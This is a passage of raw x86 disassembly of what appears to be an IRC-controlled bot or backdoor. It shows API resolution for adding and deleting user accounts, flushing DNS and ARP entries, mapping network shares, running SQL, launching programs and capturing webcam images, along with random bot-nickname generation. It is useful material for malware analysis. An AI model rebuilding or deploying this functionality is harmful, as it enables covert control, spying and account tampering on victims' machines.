mov dword_4CAF1C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB034, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAED0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAF04, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFFC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAFB4, eax call esi cmp dword_4CAE98, ebx mov dword_4CAED8, eax jz short loc_40A582 cmp dword_4CAE70, ebx jz short loc_40A582 cmp dword_4CAEE8, ebx jz short loc_40A582 cmp dword_4CAF1C, ebx jz short loc_40A582 cmp dword_4CB034, ebx jz short loc_40A582 cmp dword_4CAED0, ebx jz short loc_40A582 cmp dword_4CAE7C, ebx jz short loc_40A582 cmp dword_4CAE6C, ebx jz short loc_40A582 cmp dword_4CAF04, ebx jz short loc_40A582 cmp dword_4CAFFC, ebx jz short loc_40A582 cmp dword_4CAFB4, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 267064Ch mov dword_4CB0A0, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB09C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAEC0, eax call esi cmp dword_4CAEC0, ebx mov dword_4CAF9C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 267064Ch mov dword_4CB0A8, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB0A4, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB020, eax call esi cmp dword_4CB020, ebx mov dword_4CB01C, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 267064Ch mov dword_4CB0B0, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB0AC, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB04C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB044, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB00C, eax call esi cmp dword_4CB04C, ebx mov dword_4CAEDC, eax jz short loc_40A68A cmp dword_4CB044, ebx jz short loc_40A68A cmp dword_4CB00C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 267064Ch mov dword_4CB0B8, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB0B4, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF10, ebx mov dword_4CB018, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 267064Ch mov dword_4CB0C0, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB0BC, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFE0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB02C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF68, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAF20, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAFC0, eax call esi cmp dword_4CAFE0, ebx mov dword_4CAF30, eax jz short loc_40A772 cmp dword_4CB02C, ebx jz short loc_40A772 cmp dword_4CAF68, ebx jz short loc_40A772 cmp dword_4CAF20, ebx jz short loc_40A772 cmp dword_4CAFC0, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 267064Ch mov dword_4CB0C8, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB0C4, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAEF4, ebx mov dword_4CAFD4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 267064Ch mov dword_4CB0D0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB0CC, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB064, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB068 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB06C, esi jz short loc_40A84A push dword_4CB070 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB074, esi jz short loc_40A87E push dword_4CB078 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB07C, esi jz short loc_40A8B2 push dword_4CB080 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB084, esi jz short loc_40A8E6 push dword_4CB088 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB08C, esi jz short loc_40A91A push dword_4CB090 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB094, esi jz short loc_40A94E push dword_4CB098 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB09C, esi jz short loc_40A982 push dword_4CB0A0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB0A4, esi jz short loc_40A9B6 push dword_4CB0A8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB0AC, esi jz short loc_40A9EA push dword_4CB0B0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB0B4, esi jz short loc_40AA1E push dword_4CB0B8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB0BC, esi jz short loc_40AA52 push dword_4CB0C0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB0C4, esi jz short loc_40AA86 push dword_4CB0C8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB0CC, esi jz short loc_40AABA push dword_4CB0D0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D368 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFE4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB028 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAEC0 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB020 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D57C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D558 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB020 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D528 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4F8 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB01C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF48 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0D4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D5C8o arg_0 = dword ptr 4 push esi push edi nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D630[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 61h, 59h ; --------------------------------------------------------------------------- daa add dl, [eax-18h] test al, 0Bh add [eax], eax mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 268068Bh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 268068Bh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431288 push eax push esi nop call near ptr 26B0000h movsx eax, byte_431288 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26C0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43128C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D158 mov dword ptr [ebp-94h], 94h nop call near ptr 26C05C3h call near ptr 268068Bh nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_4312B4 loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_4312B0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_4312AC jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_4312A8 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_4312A4 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_4312A0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43129C jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431298 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431290 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 268068Bh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAFB0 test eax, eax mov eax, offset dword_4312C0 jnz short loc_40B022 mov eax, offset dword_43D158 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_4312B8 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAFB0 test eax, eax mov eax, offset dword_4312C0 jnz short loc_40B04D mov eax, offset dword_43D158 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D5C4 loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D63C jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D5C8[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCE0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACE0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCE0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEE0[esi], eax and dword_43DEE4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEE8[esi], 0 mov dword_43DEEC[esi], eax and byte_43DEF8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 22C4E50h, 555E5F90h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 4313C0h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C1C868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0E0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short 